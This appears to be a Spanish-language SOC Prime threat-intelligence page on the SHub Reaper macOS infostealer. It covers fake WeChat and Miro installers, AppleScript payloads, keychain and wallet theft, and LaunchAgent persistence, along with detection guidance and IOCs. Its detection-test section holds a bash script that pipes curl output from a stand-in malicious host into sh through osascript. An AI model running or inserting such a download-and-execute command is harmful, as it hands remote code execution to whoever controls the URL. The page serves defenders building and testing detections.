SOC Prime Bias: Medio

20 May 2026 22:15 UTC

SHub Reaper | El ladrón de macOS suplanta a Apple, Google y Microsoft en una sola cadena de ataque

Author Photo
SOC Prime Team linkedin icon Seguir
SHub Reaper | El ladrón de macOS suplanta a Apple, Google y Microsoft en una sola cadena de ataque
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El informe analiza una nueva variante de infostealer para macOS llamada SHub Reaper, que utiliza instaladores falsos de WeChat y Miro para entregar una carga útil maliciosa de AppleScript a través de un dominio con tema de Microsoft con errores tipográficos. Una vez lanzada en el Editor de Scripts, la carga útil recopila datos del navegador, archivos de billeteras de criptomonedas e información del llavero, luego exfiltra el contenido robado como archivos ZIP fragmentados. El malware también altera los archivos de la billetera y establece persistencia a través de un LaunchAgent disfrazado como una actualización de software de Google. La detección recomendada se centra en la ejecución de AppleScript, la creación sospechosa de LaunchAgent y el tráfico saliente a la infraestructura conocida de comando y control.

Investigación

SentinelOne rastreó toda la cadena de entrega en múltiples etapas, incluida la explotación del esquema applescript:// , la generación dinámica de la carga útil de AppleScript y un módulo de captura de archivos que refleja el comportamiento de robo de documentos visto en AMOS. Los investigadores capturaron tráfico de red al dominio de comando y control hebsbsbzjsjshduxbs.xyz y a puntos finales relacionados, junto con la creación de archivos temporales en /tmp y un LaunchAgent colocado en el directorio de la Biblioteca del usuario. La investigación también descubrió funcionalidad de bot de Telegram codificada específicamente para telemetría de operadores.

Mitigación

Los defensores deben bloquear el acceso a los dominios con errores tipográficos mlcrosoft.co.com, qq-0732gwh22.com, y mlroweb.com, y monitorear los LaunchAgents creados bajo rutas que imitan los componentes de actualización de Google. Debe usarse una lista blanca de aplicaciones para restringir la ejecución de AppleScript desde fuentes no confiables y se debe hacer cumplir la verificación estricta de firmas de código. Las detecciones de red también deben alertar sobre la comunicación con el dominio de comando y control identificado y sus rutas de API conocidas.

Respuesta

Si se detecta actividad de SHub Reaper, aísle inmediatamente el punto final afectado, termine cualquier proceso sospechoso de AppleScript o LaunchAgent y elimine los archivos maliciosos de /tmp y la Biblioteca del usuario. Los investigadores deben realizar entonces una recopilación forense completa de las tiendas de datos del navegador, directorios de billeteras y repositorios de credenciales, seguidos por restablecimientos de credenciales donde se sospeche de compromiso. La infraestructura de comando y control identificada debe ser bloqueada, y el equipo de respuesta a incidentes debe comenzar una búsqueda de amenazas más amplia en todo el entorno.

graph TB %% Definiciones de clases classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodos – Pasos del ataque step_initial_access[«<b>Técnica</b> – <b>T1659 Inyección de Contenido</b>: Sitios web señuelo comprometidos (WeChat o Miro falsos) alojan URLs maliciosas applescript:// que entregan la carga útil»] class step_initial_access action step_execution[«<b>Técnica</b> – <b>T1027 Archivos o Información Ofuscados</b>: AppleScript abierto en Script Editor ejecuta una llamada curl oculta codificada en base64 que decodifica y ejecuta el stager»] class step_execution action step_code_retrieval[«<b>Técnica</b> – <b>T1505 Componente de Software del Servidor</b>: AppleScript descarga el AppleScript malicioso principal desde un servidor remoto»] class step_code_retrieval action step_credential_capture[«<b>Técnica</b> – <b>T1056 Captura de Entrada</b>: AppleScript solicita al usuario una contraseña y roba datos del Keychain»] class step_credential_capture action step_data_collection[«<b>Técnica</b> – <b>T1074.001 Preparación Local de Datos</b>: Filegrabber escanea Desktop y Documents en busca de extensiones objetivo y las prepara en /tmp/shub_<rand>»] class step_data_collection action step_archive[«<b>Técnica</b> – <b>T1560.001 Archivado mediante Utilidad</b>: Los archivos recopilados se comprimen y dividen en fragmentos de 70 MB»] class step_archive action step_exfiltration[«<b>Técnica</b> – <b>T1011 Exfiltración por Otro Medio de Red</b>: Los fragmentos se cargan mediante HTTPS al servidor de comando y control»] class step_exfiltration action step_wallet_hijack[«<b>Técnicas</b> – <b>T1553.002 Firma de Código</b> y <b>T1036.001 Suplantación</b>: Archivos app.asar maliciosos reemplazan binarios legítimos de wallets, usando firmas ad-hoc o inválidas para eludir Gatekeeper»] class step_wallet_hijack action step_persistence[«<b>Técnicas</b> – <b>T1037.002 Login Hook</b>, <b>T1176 Extensiones de Software</b> y <b>T1574.007 Intercepción de Ruta</b>: Directorio falso Google Software Update con un plist LaunchAgent (com.google.keystone.agent.plist) colocado en PATH para lograr ejecución persistente»] class step_persistence action step_backdoor[«<b>Técnica</b> – <b>T1219 Herramientas de Acceso Remoto</b>: LaunchAgent ejecuta el script GoogleUpdate cada 60 s, realiza beaconing hacia /api/bot/heartbeat y puede ejecutar comandos adicionales»] class step_backdoor malware %% Nodos – Herramientas / Componentes tool_applescript[«<b>Herramienta</b> – <b>Nombre</b>: AppleScript<br/><b>Descripción</b>: Script ejecutado mediante Script Editor para decodificar e iniciar la carga útil»] class tool_applescript tool tool_curl[«<b>Herramienta</b> – <b>Nombre</b>: curl<br/><b>Descripción</b>: Utilizado para descargar AppleScript adicional y archivos de datos mediante HTTPS»] class tool_curl tool tool_launchagent[«<b>Herramienta</b> – <b>Nombre</b>: LaunchAgent<br/><b>Descripción</b>: Mecanismo de persistencia de nivel usuario de macOS definido mediante un plist»] class tool_launchagent tool malware_stager[«<b>Malware</b> – <b>Nombre</b>: Stager<br/><b>Descripción</b>: Pequeño cargador que obtiene la carga útil principal de AppleScript»] class malware_stager malware %% Aristas – Flujo step_initial_access –>|conduce a| step_execution step_execution –>|usa| tool_applescript step_execution –>|ejecuta| malware_stager malware_stager –>|descarga mediante| tool_curl malware_stager –>|activa| step_code_retrieval step_code_retrieval –>|usa| tool_curl step_code_retrieval –>|habilita| step_credential_capture step_credential_capture –>|captura| step_data_collection step_data_collection –>|prepara archivos para| step_archive step_archive –>|crea fragmentos para| step_exfiltration step_exfiltration –>|entrega a| step_wallet_hijack step_wallet_hijack –>|modifica| step_persistence step_persistence –>|instala| tool_launchagent tool_launchagent –>|proporciona| step_backdoor step_backdoor –>|actúa como| malware_stager %% Asignaciones de clases class step_initial_access,step_execution,step_code_retrieval,step_credential_capture,step_data_collection,step_archive,step_exfiltration,step_wallet_hijack,step_persistence,step_backdoor action class tool_applescript,tool_curl,tool_launchagent tool class malware_stager,step_backdoor malware

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: El Control Previo de Telemetría y Línea Base debe haber pasado.

Motivo: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y tener como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico incorrecto.

  • Narrativa y Comandos del Ataque:
    El atacante elabora una línea única que aprovecha osascript para ejecutar un comando de shell. Dentro del AppleScript, do shell script ejecuta curl para descargar un script de shell remoto (payload.sh) y lo redirige directamente a sh para su ejecución. Debido a que toda la cadena está incrustada en una sola invocación de AppleScript, macOS registra un solo evento process_creation cuya línea de comandos contiene ambos, cumpliendo con la regla de detección. osascript and curl, satisfying the detection rule.

  • Script de Prueba de Regresión:

    #!/bin/bash
    #
    # Simular ejecución de SHub Reaper en macOS
    # Genera un solo evento de process_creation que contiene tanto 'osascript' como 'curl'
    #
    MALICIOUS_URL="https://malicious.example.com/payload.sh"
    
    # Una línea: osascript ejecuta un comando de shell que descarga el payload y lo ejecuta
    osascript -e "do shell script "curl -s ${MALICIOUS_URL} | sh""
  • Comandos de Limpieza:

    #!/bin/bash
    #
    # Limpiar cualquier artefacto creado por la simulación.
    # El payload se ejecuta en memoria y no escribe archivos, pero aseguramos que no haya procesos residuales.
    #
    # Elimina cualquier proceso 'sh' iniciado por la prueba (utilizar con precaución en sistemas de producción)
    pkill -f "sh -c curl -s https://malicious.example.com/payload.sh"